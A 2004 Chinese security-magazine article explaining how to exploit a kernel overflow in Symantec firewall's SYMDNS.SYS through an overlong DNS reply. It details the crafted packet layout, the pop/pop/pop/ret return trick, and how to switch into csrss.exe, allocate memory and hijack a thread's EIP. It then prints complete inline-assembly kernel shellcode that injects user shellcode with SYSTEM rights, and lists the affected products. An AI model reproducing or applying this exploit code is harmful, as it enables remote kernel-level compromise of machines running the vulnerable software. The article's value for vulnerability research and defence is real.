绿盟安全月刊->第53期->安全文摘 SYMANTEC防火墙内核溢出漏洞利用之安全返回法

作者：SoBeIt
日期：2004-11-05

这个漏洞发生在SYMDNS.SYS中，当处理DNS答复时，由于未检验总域名长度，导致可以输入一超长域名导致溢出，溢出发生在RING0、IRQL = 2(DISPATCH_LEVEL)、 进程PID为0(idle进程)的环境下。

    一个DNS报文格式如下：
    "\xEB\x0B"    //报文ID，可以随意设置，但在这个漏洞里是别有用途的，后面会说到
    "\x80\x00"    //报文FLAG，15位置1表示这是一个答复报文
    "\x00\x01"    //问题数量
    "\x00\x01"    //答复数量
    "\xXX\xXX"    //授权资源记录数，在这里不重要，随便设置
    "\xXX\xXX"    //格外信息资源记录数，在这里不重要，随便设置
    以上部分为DNS报文头
    "\xXX\xXX\x..."    //域名，格式为每个分段域名长度+域名内容，比如www.buaa.edu.cn就是
\x03\x77\x77\x77\x04\x62\x75\x61\x61\x03\x65\x64\x75\x02\x63\x6e\x00
      w   w   w       b   u   a   a       e   d   u       c   n
\x00表示到了末尾。处理的时候会把那长度记录数换成0x2e，就是"."，就完成了处理。

    在SYMDNS.SYS中处理传入域名的函数位于SYMDNS.SYS基地址+0xa76处，这个函数在堆栈里分配了足够的空间(事实上，最后SHELLCODE的执行并不是在堆栈中执行，而是在非分页池中执行)。传入的域名有最大长度限制，不能超过0x40个字节，所以我每段SHELLCODE长度都是0x3f(63)个字节。在覆盖了532个字节后，覆盖了第二个调用的返回地址，至于为什么没覆盖第一个调用的返回地址我也不太清楚。这个漏洞有个特点，就是在堆栈中二次处理传入的域名，导致堆栈中SHELLCODE后半部分面目全非、惨不忍睹。但很幸运的是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个DNS报文(包括DNS报文头)的地址，是一个在非分页池的地址，

74816d74 4c816c9b 816d002e 816c9e34
  |_____esp指向这                 |_______这个就是非分页池的地址

现在大家应该知道该干啥了吧？虽然在内核里没有固定的jmp [esp+0xc]、 call [esp+0xc]这样的地址，但我们可以变通一下，使用诸如pop/pop/pop/ret这样的指令组合，机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp，不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文ID的作用了吧？\xEB\x0B是一个直接跳转的机器指令，跳过一开始没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节，但0x3f对应的指令是aas，对EAX进行ascii调整，所以在一般不影响EAX和标志的情况下可以把这个0x3f也算作SHELLCODE的一部分，可以省下不少字节^_^。

    现在当前环境是0号进程，要把进程地址空间切到其他进程就得先获得那个进程的EPROCESS地址。0号进程很特别，就是该进程基本不挂在所有进程的链表上，比如说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks，正常情况来说只能枚举线程的WaitListHead来枚举所有线程并判断进程，这样很麻烦而已代码很长，但天无绝人之路，在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)处保存有一个8号进程的一个线程ETHREAD地址，由ETHREAD+0x44处可以获得该线程所属EPROCESS的地址，而且8号进程是挂在除SessionProcessLinks之外的其它链表上的。下一步是切换进程地址空间，从目标进程EPROCESS+0x18处取出该进程页目录的物理地址并将当前CR3寄存器修改为该值既可(我一开始还修改了任务段KTSS中的CR3也为该值，结果发现这不是必须的)。然后在该进程内选择一个合适的线程来运行我们的用户态SHELLCODE，这个选择很重要，因为当前IRQL = 2，任何访问缺页的地址都将导致IRQL_NOT_LESS_OR_EQUAL蓝屏错误，因为缺页会导致页面I/O，最后会在对象上等待，这违背了不能在IRQL = 2等待对象的规则。按照一个标准的5调度状态模型的操作系统，当一个线程等待过久就会导致该线程的内核堆栈被换出内存，这样的线程我们是不能用的。所以我们需要判断ETHREAD+=0x11e(+11e    byte     KernelStackResident)是否为TRUE。这又关系到究竟该选择哪个系统进程，选择系统进程这样返回的SHELL是SYSTEM的权限，该进程必须是个活跃的进程，才能保证每时每刻都有未被换出内存的线程。winlogon.exe是肯定不行的，因为在大多情况下这是一个0工作集进程。在lsass.exe、smss.exe、csrss.exe这3个进程里我最后选择了csrss.exe，因为WIN32的子系统无论怎样都应该闲不住吧:)，事实也证明选择这个进程基本都可以找到合适线程。枚举一个进程的线程可以在EPROCESS+0x50处取链表头，该链表链住了该进程的所有线程，链表位置在ETHREAD+0x1a4处：
struct _EPROCESS (sizeof=648)
+000 struct _KPROCESS Pcb
+050 struct _LIST_ENTRY ThreadListHead
+050 struct _LIST_ENTRY *Flink
+054 struct _LIST_ENTRY *Blink

struct _ETHREAD (sizeof=584)
+000 struct _KTHREAD Tcb
+1a4 struct _LIST_ENTRY ThreadListEntry
+1a4 struct _LIST_ENTRY *Flink
+1a8 struct _LIST_ENTRY *Blink
或者EPROCESS+0x270处取链表头，链表位置在ETHREAD+0x240处：
struct _EPROCESS (sizeof=648)
+270 struct _LIST_ENTRY ThreadListHead
+270 struct _LIST_ENTRY *Flink
+274 struct _LIST_ENTRY *Blink

struct _ETHREAD (sizeof=584)
+240 struct _LIST_ENTRY ThreadListEntry
+240 struct _LIST_ENTRY *Flink
+244 struct _LIST_ENTRY *Blink    

    剩下的就是在该进程地址空间内分配虚拟地址，锁定，并拷贝SHELLCODE过去，依次调用API为：ZwOpenProcess(这里要注意，如果没改变CR3的话这个调用会导致蓝屏，因为地址空间不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory，为了通用性我用mov eax, API NUMBER; int 2e这样的底层接口来调用API。在调用ZwWriteVirtualMemory之前我们得先修改该线程下次要执行的EIP，它是保存在KTRAP_FRAME+0x68处，把它修改为我们分配的地址。KTRAP_FRAME在线程堆栈底-x29c的地方，ETHREAD+0x128直接指向该地址。记得将原来的EIP保存在我们的用户态SHELLCODE中，类似push 0x12345678; ret这样的格式，代码就会返回12345678的地址，所以在内存中就是\x68\x78\x56\x34\x12\xc3，覆盖那个12345678就行了，在执行完我们的功能代码后线程会恢复正常执行。

    最后一段是一些固定的针对该漏洞的特征返回，恢复一些寄存器值，把ESP指向返回地址并让EBP恢复正常。这里我跳过了所有剩下的在SYMDNS.SYS的调用，因为那样会从堆栈中取值，而堆栈值很多都被我们改了，所以我直接返回到tcpip!UDPDeliver处的调用，返回这里有个好处，就是它完全不管你处理了什么、怎么处理，它只管检测返回值，很符合我们的要求，呵呵。

    这个SHELLCODE大概只有3/4的成功率，因为在有些情况下我们的DNS报文的地址不附加在esp+0xc处，还有有时会碰到进程所有线程都被换出了内存，还有一定的小概率会发生NDIS死锁-_-有时候RP爆发时一天都没啥问题，有时虚拟机狂蓝屏。。。所以我的利用方法还不很成熟，还希望大家一起来讨论完善。有关内核溢出里最大的问题估计就是缺页的问题了，由于IRQL = 2下不能换页，所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item，这可以在IRQL = 2下调用，然后由系统工作者线程来替我们完成工作。这都是些改进设想。搞定了安全返回的方法，现在正在KO非安全返回，估计也不是很难，但就是估计SHELLCODE会大很多。
    
    峰会上由于FLASHSKY大牛不肯透露源代码，所以只好自己动手，丰衣足食了。这段时间由于得复习补考(上学期一不小心挂了4门#_#)，所以拖了这么久。其实代码很早就写好了，就是懒得写这篇文档。今早终于下定决心花了一上午完成了这篇文档，估计难免有什么错误，望大家指出。    

    SHELLCODE由内核SHELLCODE和用户SHELLCODE组成，内核SHELLCODE负责返回并执行用户SHELLCODE，用户SHELLCODE则是普通的功能，注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码，转成机器码只有260多个字节，基本不算太大:)：
    
__declspec(naked) JustTest()
{    
    __asm
    {
        call go1
go1:
        pop eax
        push eax
        mov ebx, 0xffdff55c
        mov ebx, dword ptr [ebx]
        mov ebx, dword ptr [ebx+0x44]

        push 0x73727363
FindProcess:
        mov edi, esp
        lea esi, dword ptr [ebx+0x1fc]
        push 0x4
        pop ecx
        repe cmpsb
        jecxz go2
        mov ebx, dword ptr [ebx+0xa0]
        sub ebx, 0xa0
        jmp FindProcess
go2:        
        pop edx
        mov edx, dword ptr [ebx+0x50]
FindThread:
        movzx ecx, byte ptr [edx-0x86]
        dec ecx
        jecxz go3
        mov edx, dword ptr [edx]
        jmp FindThread
go3:
        mov eax, dword ptr [ebx+0x18]
        mov ebp, esp
        sub esp, 0x40
        push edx
        mov cr3, eax

        push 0x10
        pop ecx
        xor eax, eax
        lea edi, dword ptr [ebp-0x40]
ZeroStack:
        stosd
        loop ZeroStack
        mov byte ptr [ebp-0x38], 0x18
        lea edi, dword ptr [edx+0x3c]
        push edi
        lea edi, dword ptr [ebp-0x38]
        push edi
        lea edi, dword ptr [ebp-0x8]
        push 0x1f0fff
        push edi

        mov al, 0x6a
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x10
        test eax, eax
        jnz Failed

        mov byte ptr [ebp-0x3], 0x2
        push 0x40
        push 0x1000
        lea edi, dword ptr [ebp-0x4]
        push edi
        push eax
        lea edi, dword ptr [ebp-0xc]
        push edi
        push dword ptr [ebp-0x8]

        mov al, 0x10
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x18
        test eax, eax
        jnz Failed

        push 0x2
        lea ebx, dword ptr [ebp-0x4]
        push ebx
        lea ebx, dword ptr [ebp-0xc]
        push ebx
        push dword ptr [ebp-0x8]

        mov al, 0x59
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x10
        test eax, eax
        jnz Failed

       mov edi, dword ptr [ebp]
        pop edx
        mov edx, dword ptr [edx-0x7c]
        push dword ptr [edx+0x68]
        pop dword ptr [edi+0x210]
        push dword ptr [ebp-0xc]
        pop dword ptr [edx+0x68]
        add edi, 0x11c

        push eax
        push 0x120
        push edi
        push dword ptr [ebp-0xc]
        push dword ptr [ebp-0x8]
        
        mov al, 0xf0
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x14

Failed:
        add esp, 0xec
        xor eax, eax
        mov esi, dword ptr [esp+0x38]
        mov ebp,esp
        add ebp,0x88
        ret 0x2c
    }
}

PS：存在该漏洞的SYMANTEC产品有：
*    - Symantec Norton Internet Security 2002
*    - Symantec Norton Internet Security 2003
*    - Symantec Norton Internet Security 2004
*    - Symantec Norton Internet Security Professional 2002
*    - Symantec Norton Internet Security Professional 2003
*    - Symantec Norton Internet Security Professional 2004
*    - Symantec Norton Personal Firewall 2002
*    - Symantec Norton Personal Firewall 2003
*    - Symantec Norton Personal Firewall 2004
*    - Symantec Client Firewall 5.01, 5.1.1
*    - Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
*    - Symantec Norton AntiSpam 2004

该代码在windows2000 Pro build 2195 sp4的虚拟机上测试通过，WINXP原理一样。